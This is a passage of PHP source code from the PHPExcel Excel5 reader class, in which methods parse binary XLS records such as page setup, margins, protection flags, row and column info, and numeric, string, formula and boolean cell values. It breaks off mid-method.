settings, we skip the extended string data $pos += $extendedRunLength; } // store the shared sting $this->sst[] = array( 'value' => $retstr, 'fmtRuns' => $fmtRuns, ); } // getSplicedRecordData() takes care of moving current position in data stream } /** * Read PRINTGRIDLINES record */ private function readPrintGridlines() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; 0 = do not print sheet grid lines; 1 = print sheet gridlines $printGridlines = (bool) self::getInt2d($recordData, 0); $this->phpSheet->setPrintGridlines($printGridlines); } } /** * Read DEFAULTROWHEIGHT record */ private function readDefaultRowHeight() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; option flags // offset: 2; size: 2; default height for unused rows, (twips 1/20 point) $height = self::getInt2d($recordData, 2); $this->phpSheet->getDefaultRowDimension()->setRowHeight($height / 20); } /** * Read SHEETPR record */ private function readSheetPr() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2 // bit: 6; mask: 0x0040; 0 = outline buttons above outline group $isSummaryBelow = (0x0040 & self::getInt2d($recordData, 0)) >> 6; $this->phpSheet->setShowSummaryBelow($isSummaryBelow); // bit: 7; mask: 0x0080; 0 = outline buttons left of outline group $isSummaryRight = (0x0080 & self::getInt2d($recordData, 0)) >> 7; $this->phpSheet->setShowSummaryRight($isSummaryRight); // bit: 8; mask: 0x100; 0 = scale printout in percent, 1 = fit printout to number of pages // this corresponds to radio button setting in page setup dialog in Excel $this->isFitToPages = (bool) ((0x0100 & self::getInt2d($recordData, 0)) >> 8); } /** * Read HORIZONTALPAGEBREAKS record */ private function readHorizontalPageBreaks() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; number of the following row index structures $nm = self::getInt2d($recordData, 0); // offset: 2; size: 6 * $nm; list of $nm row index structures for ($i = 0; $i < $nm; ++$i) { $r = self::getInt2d($recordData, 2 + 6 * $i); $cf = self::getInt2d($recordData, 2 + 6 * $i + 2); $cl = self::getInt2d($recordData, 2 + 6 * $i + 4); // not sure why two column indexes are necessary? $this->phpSheet->setBreakByColumnAndRow($cf, $r, PHPExcel_Worksheet::BREAK_ROW); } } } /** * Read VERTICALPAGEBREAKS record */ private function readVerticalPageBreaks() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { // offset: 0; size: 2; number of the following column index structures $nm = self::getInt2d($recordData, 0); // offset: 2; size: 6 * $nm; list of $nm row index structures for ($i = 0; $i < $nm; ++$i) { $c = self::getInt2d($recordData, 2 + 6 * $i); $rf = self::getInt2d($recordData, 2 + 6 * $i + 2); $rl = self::getInt2d($recordData, 2 + 6 * $i + 4); // not sure why two row indexes are necessary? $this->phpSheet->setBreakByColumnAndRow($c, $rf, PHPExcel_Worksheet::BREAK_COLUMN); } } } /** * Read HEADER record */ private function readHeader() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: var // realized that $recordData can be empty even when record exists if ($recordData) { if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); } else { $string = $this->readByteStringShort($recordData); } $this->phpSheet->getHeaderFooter()->setOddHeader($string['value']); $this->phpSheet->getHeaderFooter()->setEvenHeader($string['value']); } } } /** * Read FOOTER record */ private function readFooter() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: var // realized that $recordData can be empty even when record exists if ($recordData) { if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); } else { $string = $this->readByteStringShort($recordData); } $this->phpSheet->getHeaderFooter()->setOddFooter($string['value']); $this->phpSheet->getHeaderFooter()->setEvenFooter($string['value']); } } } /** * Read HCENTER record */ private function readHcenter() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0 = print sheet left aligned, 1 = print sheet centered horizontally $isHorizontalCentered = (bool) self::getInt2d($recordData, 0); $this->phpSheet->getPageSetup()->setHorizontalCentered($isHorizontalCentered); } } /** * Read VCENTER record */ private function readVcenter() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0 = print sheet aligned at top page border, 1 = print sheet vertically centered $isVerticalCentered = (bool) self::getInt2d($recordData, 0); $this->phpSheet->getPageSetup()->setVerticalCentered($isVerticalCentered); } } /** * Read LEFTMARGIN record */ private function readLeftMargin() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setLeft(self::extractNumber($recordData)); } } /** * Read RIGHTMARGIN record */ private function readRightMargin() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setRight(self::extractNumber($recordData)); } } /** * Read TOPMARGIN record */ private function readTopMargin() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setTop(self::extractNumber($recordData)); } } /** * Read BOTTOMMARGIN record */ private function readBottomMargin() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8 $this->phpSheet->getPageMargins()->setBottom(self::extractNumber($recordData)); } } /** * Read PAGESETUP record */ private function readPageSetup() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; paper size $paperSize = self::getInt2d($recordData, 0); // offset: 2; size: 2; scaling factor $scale = self::getInt2d($recordData, 2); // offset: 6; size: 2; fit worksheet width to this number of pages, 0 = use as many as needed $fitToWidth = self::getInt2d($recordData, 6); // offset: 8; size: 2; fit worksheet height to this number of pages, 0 = use as many as needed $fitToHeight = self::getInt2d($recordData, 8); // offset: 10; size: 2; option flags // bit: 1; mask: 0x0002; 0=landscape, 1=portrait $isPortrait = (0x0002 & self::getInt2d($recordData, 10)) >> 1; // bit: 2; mask: 0x0004; 1= paper size, scaling factor, paper orient. not init // when this bit is set, do not use flags for those properties $isNotInit = (0x0004 & self::getInt2d($recordData, 10)) >> 2; if (!$isNotInit) { $this->phpSheet->getPageSetup()->setPaperSize($paperSize); switch ($isPortrait) { case 0: $this->phpSheet->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); break; case 1: $this->phpSheet->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_PORTRAIT); break; } $this->phpSheet->getPageSetup()->setScale($scale, false); $this->phpSheet->getPageSetup()->setFitToPage((bool) $this->isFitToPages); $this->phpSheet->getPageSetup()->setFitToWidth($fitToWidth, false); $this->phpSheet->getPageSetup()->setFitToHeight($fitToHeight, false); } // offset: 16; size: 8; header margin (IEEE 754 floating-point value) $marginHeader = self::extractNumber(substr($recordData, 16, 8)); $this->phpSheet->getPageMargins()->setHeader($marginHeader); // offset: 24; size: 8; footer margin (IEEE 754 floating-point value) $marginFooter = self::extractNumber(substr($recordData, 24, 8)); $this->phpSheet->getPageMargins()->setFooter($marginFooter); } } /** * PROTECT - Sheet protection (BIFF2 through BIFF8) * if this record is omitted, then it also means no sheet protection */ private function readProtect() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit 0, mask 0x01; 1 = sheet is protected $bool = (0x01 & self::getInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setSheet((bool)$bool); } /** * SCENPROTECT */ private function readScenProtect() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit: 0, mask 0x01; 1 = scenarios are protected $bool = (0x01 & self::getInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setScenarios((bool)$bool); } /** * OBJECTPROTECT */ private function readObjectProtect() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit: 0, mask 0x01; 1 = objects are protected $bool = (0x01 & self::getInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setObjects((bool)$bool); } /** * PASSWORD - Sheet protection (hashed) password (BIFF2 through BIFF8) */ private function readPassword() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 16-bit hash value of password $password = strtoupper(dechex(self::getInt2d($recordData, 0))); // the hashed password $this->phpSheet->getProtection()->setPassword($password, true); } } /** * Read DEFCOLWIDTH record */ private function readDefColWidth() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; default column width $width = self::getInt2d($recordData, 0); if ($width != 8) { $this->phpSheet->getDefaultColumnDimension()->setWidth($width); } } /** * Read COLINFO record */ private function readColInfo() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index to first column in range $fc = self::getInt2d($recordData, 0); // first column index // offset: 2; size: 2; index to last column in range $lc = self::getInt2d($recordData, 2); // first column index // offset: 4; size: 2; width of the column in 1/256 of the width of the zero character $width = self::getInt2d($recordData, 4); // offset: 6; size: 2; index to XF record for default column formatting $xfIndex = self::getInt2d($recordData, 6); // offset: 8; size: 2; option flags // bit: 0; mask: 0x0001; 1= columns are hidden $isHidden = (0x0001 & self::getInt2d($recordData, 8)) >> 0; // bit: 10-8; mask: 0x0700; outline level of the columns (0 = no outline) $level = (0x0700 & self::getInt2d($recordData, 8)) >> 8; // bit: 12; mask: 0x1000; 1 = collapsed $isCollapsed = (0x1000 & self::getInt2d($recordData, 8)) >> 12; // offset: 10; size: 2; not used for ($i = $fc; $i <= $lc; ++$i) { if ($lc == 255 || $lc == 256) { $this->phpSheet->getDefaultColumnDimension()->setWidth($width / 256); break; } $this->phpSheet->getColumnDimensionByColumn($i)->setWidth($width / 256); $this->phpSheet->getColumnDimensionByColumn($i)->setVisible(!$isHidden); $this->phpSheet->getColumnDimensionByColumn($i)->setOutlineLevel($level); $this->phpSheet->getColumnDimensionByColumn($i)->setCollapsed($isCollapsed); $this->phpSheet->getColumnDimensionByColumn($i)->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * ROW * * This record contains the properties of a single row in a * sheet. Rows and cells in a sheet are divided into blocks * of 32 rows. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readRow() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index of this row $r = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to column of the first cell which is described by a cell record // offset: 4; size: 2; index to column of the last cell which is described by a cell record, increased by 1 // offset: 6; size: 2; // bit: 14-0; mask: 0x7FFF; height of the row, in twips = 1/20 of a point $height = (0x7FFF & self::getInt2d($recordData, 6)) >> 0; // bit: 15: mask: 0x8000; 0 = row has custom height; 1= row has default height $useDefaultHeight = (0x8000 & self::getInt2d($recordData, 6)) >> 15; if (!$useDefaultHeight) { $this->phpSheet->getRowDimension($r + 1)->setRowHeight($height / 20); } // offset: 8; size: 2; not used // offset: 10; size: 2; not used in BIFF5-BIFF8 // offset: 12; size: 4; option flags and default row formatting // bit: 2-0: mask: 0x00000007; outline level of the row $level = (0x00000007 & self::getInt4d($recordData, 12)) >> 0; $this->phpSheet->getRowDimension($r + 1)->setOutlineLevel($level); // bit: 4; mask: 0x00000010; 1 = outline group start or ends here... and is collapsed $isCollapsed = (0x00000010 & self::getInt4d($recordData, 12)) >> 4; $this->phpSheet->getRowDimension($r + 1)->setCollapsed($isCollapsed); // bit: 5; mask: 0x00000020; 1 = row is hidden $isHidden = (0x00000020 & self::getInt4d($recordData, 12)) >> 5; $this->phpSheet->getRowDimension($r + 1)->setVisible(!$isHidden); // bit: 7; mask: 0x00000080; 1 = row has explicit format $hasExplicitFormat = (0x00000080 & self::getInt4d($recordData, 12)) >> 7; // bit: 27-16; mask: 0x0FFF0000; only applies when hasExplicitFormat = 1; index to XF record $xfIndex = (0x0FFF0000 & self::getInt4d($recordData, 12)) >> 16; if ($hasExplicitFormat) { $this->phpSheet->getRowDimension($r + 1)->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read RK record * This record represents a cell that contains an RK value * (encoded integer or floating-point value). If a * floating-point value cannot be encoded to an RK value, * a NUMBER record will be written. This record replaces the * record INTEGER written in BIFF2. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readRk() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getInt2d($recordData, 4); // offset: 6; size: 4; RK value $rknum = self::getInt4d($recordData, 6); $numValue = self::getIEEE754($rknum); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly) { // add style information $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell $cell->setValueExplicit($numValue, PHPExcel_Cell_DataType::TYPE_NUMERIC); } } /** * Read LABELSST record * This record represents a cell that contains a string. It * replaces the LABEL record and RSTRING record used in * BIFF2-BIFF5. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readLabelSst() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); $emptyCell = true; // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getInt2d($recordData, 4); // offset: 6; size: 4; index to SST record $index = self::getInt4d($recordData, 6); // add cell if (($fmtRuns = $this->sst[$index]['fmtRuns']) && !$this->readDataOnly) { // then we should treat as rich text $richText = new PHPExcel_RichText(); $charPos = 0; $sstCount = count($this->sst[$index]['fmtRuns']); for ($i = 0; $i <= $sstCount; ++$i) { if (isset($fmtRuns[$i])) { $text = PHPExcel_Shared_String::Substring($this->sst[$index]['value'], $charPos, $fmtRuns[$i]['charPos'] - $charPos); $charPos = $fmtRuns[$i]['charPos']; } else { $text = PHPExcel_Shared_String::Substring($this->sst[$index]['value'], $charPos, PHPExcel_Shared_String::CountCharacters($this->sst[$index]['value'])); } if (PHPExcel_Shared_String::CountCharacters($text) > 0) { if ($i == 0) { // first text run, no style $richText->createText($text); } else { $textRun = $richText->createTextRun($text); if (isset($fmtRuns[$i - 1])) { if ($fmtRuns[$i - 1]['fontIndex'] < 4) { $fontIndex = $fmtRuns[$i - 1]['fontIndex']; } else { // this has to do with that index 4 is omitted in all BIFF versions for some strange reason // check the OpenOffice documentation of the FONT record $fontIndex = $fmtRuns[$i - 1]['fontIndex'] - 1; } $textRun->setFont(clone $this->objFonts[$fontIndex]); } } } } if ($this->readEmptyCells || trim($richText->getPlainText()) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($richText, PHPExcel_Cell_DataType::TYPE_STRING); $emptyCell = false; } } else { if ($this->readEmptyCells || trim($this->sst[$index]['value']) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($this->sst[$index]['value'], PHPExcel_Cell_DataType::TYPE_STRING); $emptyCell = false; } } if (!$this->readDataOnly && !$emptyCell) { // add style information $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MULRK record * This record represents a cell range containing RK value * cells. All cells are located in the same row. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMulRk() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to first column $colFirst = self::getInt2d($recordData, 2); // offset: var; size: 2; index to last column $colLast = self::getInt2d($recordData, $length - 2); $columns = $colLast - $colFirst + 1; // offset within record data $offset = 4; for ($i = 0; $i < $columns; ++$i) { $columnString = PHPExcel_Cell::stringFromColumnIndex($colFirst + $i); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: var; size: 2; index to XF record $xfIndex = self::getInt2d($recordData, $offset); // offset: var; size: 4; RK value $numValue = self::getIEEE754(self::getInt4d($recordData, $offset + 2)); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly) { // add style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell value $cell->setValueExplicit($numValue, PHPExcel_Cell_DataType::TYPE_NUMERIC); } $offset += 6; } } /** * Read NUMBER record * This record represents a cell that contains a * floating-point value. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readNumber() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size 2; index to column $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset 4; size: 2; index to XF record $xfIndex = self::getInt2d($recordData, 4); $numValue = self::extractNumber(substr($recordData, 6, 8)); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell value $cell->setValueExplicit($numValue, PHPExcel_Cell_DataType::TYPE_NUMERIC); } } /** * Read FORMULA record + perhaps a following STRING record if formula result is a string * This record contains the token array and the result of a * formula cell. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readFormula() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; col index $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); // offset: 20: size: variable; formula structure $formulaStructure = substr($recordData, 20); // offset: 14: size: 2; option flags, recalculate always, recalculate on open etc. $options = self::getInt2d($recordData, 14); // bit: 0; mask: 0x0001; 1 = recalculate always // bit: 1; mask: 0x0002; 1 = calculate on open // bit: 2; mask: 0x0008; 1 = part of a shared formula $isPartOfSharedFormula = (bool) (0x0008 & $options); // WARNING: // We can apparently not rely on $isPartOfSharedFormula. Even when $isPartOfSharedFormula = true // the formula data may be ordinary formula data, therefore we need to check // explicitly for the tExp token (0x01) $isPartOfSharedFormula = $isPartOfSharedFormula && ord($formulaStructure{2}) == 0x01; if ($isPartOfSharedFormula) { // part of shared formula which means there will be a formula with a tExp token and nothing else // get the base cell, grab tExp token $baseRow = self::getInt2d($formulaStructure, 3); $baseCol = self::getInt2d($formulaStructure, 5); $this->_baseCell = PHPExcel_Cell::stringFromColumnIndex($baseCol). ($baseRow + 1); } // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { if ($isPartOfSharedFormula) { // formula is added to this cell after the sheet has been read $this->sharedFormulaParts[$columnString . ($row + 1)] = $this->_baseCell; } // offset: 16: size: 4; not used // offset: 4; size: 2; XF index $xfIndex = self::getInt2d($recordData, 4); // offset: 6; size: 8; result of the formula if ((ord($recordData{6}) == 0) && (ord($recordData{12}) == 255) && (ord($recordData{13}) == 255)) { // String formula. Result follows in appended STRING record $dataType = PHPExcel_Cell_DataType::TYPE_STRING; // read possible SHAREDFMLA record $code = self::getInt2d($this->data, $this->pos); if ($code == self::XLS_TYPE_SHAREDFMLA) { $this->readSharedFmla(); } // read STRING record $value = $this->readString(); } elseif ((ord($recordData{6}) == 1) && (ord($recordData{12}) == 255) && (ord($recordData{13}) == 255)) { // Boolean formula. Result is in +2; 0=false, 1=true $dataType = PHPExcel_Cell_DataType::TYPE_BOOL; $value = (bool) ord($recordData{8}); } elseif ((ord($recordData{6}) == 2) && (ord($recordData{12}) == 255) && (ord($recordData{13}) == 255)) { // Error formula. Error code is in +2 $dataType = PHPExcel_Cell_DataType::TYPE_ERROR; $value = PHPExcel_Reader_Excel5_ErrorCode::lookup(ord($recordData{8})); } elseif ((ord($recordData{6}) == 3) && (ord($recordData{12}) == 255) && (ord($recordData{13}) == 255)) { // Formula result is a null string $dataType = PHPExcel_Cell_DataType::TYPE_NULL; $value = ''; } else { // forumla result is a number, first 14 bytes like _NUMBER record $dataType = PHPExcel_Cell_DataType::TYPE_NUMERIC; $value = self::extractNumber(substr($recordData, 6, 8)); } $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // store the formula if (!$isPartOfSharedFormula) { // not part of shared formula // add cell value. If we can read formula, populate with formula, otherwise just used cached value try { if ($this->version != self::XLS_BIFF8) { throw new PHPExcel_Reader_Exception('Not BIFF8. Can only read BIFF8 formulas'); } $formula = $this->getFormulaFromStructure($formulaStructure); // get formula in human language $cell->setValueExplicit('=' . $formula, PHPExcel_Cell_DataType::TYPE_FORMULA); } catch (PHPExcel_Exception $e) { $cell->setValueExplicit($value, $dataType); } } else { if ($this->version == self::XLS_BIFF8) { // do nothing at this point, formula id added later in the code } else { $cell->setValueExplicit($value, $dataType); } } // store the cached calculated value $cell->setCalculatedValue($value); } } /** * Read a SHAREDFMLA record. This function just stores the binary shared formula in the reader, * which usually contains relative references. * These will be used to construct the formula in each shared formula part after the sheet is read. */ private function readSharedFmla() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0, size: 6; cell range address of the area used by the shared formula, not used for anything $cellRange = substr($recordData, 0, 6); $cellRange = $this->readBIFF5CellRangeAddressFixed($cellRange); // note: even BIFF8 uses BIFF5 syntax // offset: 6, size: 1; not used // offset: 7, size: 1; number of existing FORMULA records for this shared formula $no = ord($recordData{7}); // offset: 8, size: var; Binary token array of the shared formula $formula = substr($recordData, 8); // at this point we only store the shared formula for later use $this->sharedFormulas[$this->_baseCell] = $formula; } /** * Read a STRING record from current stream position and advance the stream pointer to next record * This record is used for storing result from FORMULA record when it is a string, and * it occurs directly after the FORMULA record * * @return string The string contents as UTF-8 */ private function readString() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); $value = $string['value']; } else { $string = $this->readByteStringLong($recordData); $value = $string['value']; } return $value; } /** * Read BOOLERR record * This record represents a Boolean value or error value * cell. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readBoolErr() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; column index $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getInt2d($recordData, 4); // offset: 6; size: 1; the boolean value or error value $boolErr = ord($recordData{6}); // offset: 7; size: 1; 0=boolean; 1=error $isError = ord($recordData{7}); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); switch ($isError) { case 0: // boolean $value = (bool) $boolErr; // add cell value $cell->setValueExplicit($value, PHPExcel_Cell_DataType::TYPE_BOOL); break; case 1: // error type $value = PHPExcel_Reader_Excel5_ErrorCode::lookup($boolErr); // add cell value $cell->setValueExplicit($value, PHPExcel_Cell_DataType::TYPE_ERROR); break; } if (!$this->readDataOnly) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MULBLANK record * This record represents a cell range of empty cells. All * cells are located in the same row * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMulBlank() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to first column $fc = self::getInt2d($recordData, 2); // offset: 4; size: 2 x nc; list of indexes to XF records // add style information if (!$this->readDataOnly && $this->readEmptyCells) { for ($i = 0; $i < $length / 2 - 3; ++$i) { $columnString = PHPExcel_Cell::stringFromColumnIndex($fc + $i); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { $xfIndex = self::getInt2d($recordData, 4 + 2 * $i); $this->phpSheet->getCell($columnString . ($row + 1))->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } // offset: 6; size 2; index to last column (not needed) } /** * Read LABEL record * This record represents a cell that contains a string. In * BIFF8 it is usually replaced by the LABELSST record. * Excel still uses this record, if it copies unformatted * text cells to the clipboard. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readLabel() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($column); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; XF index $xfIndex = self::getInt2d($recordData, 4); // add cell value // todo: what if string is very long? continue record if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong(substr($recordData, 6)); $value = $string['value']; } else { $string = $this->readByteStringLong(substr($recordData, 6)); $value = $string['value']; } if ($this->readEmptyCells || trim($value) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($value, PHPExcel_Cell_DataType::TYPE_STRING); if (!$this->readDataOnly) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } } /** * Read BLANK record */ private function readBlank() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getInt2d($recordData, 0); // offset: 2; size: 2; col index $col = self::getInt2d($recordData, 2); $columnString = PHPExcel_Cell::stringFromColumnIndex($col); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; XF index $xfIndex = self::getInt2d($recordData, 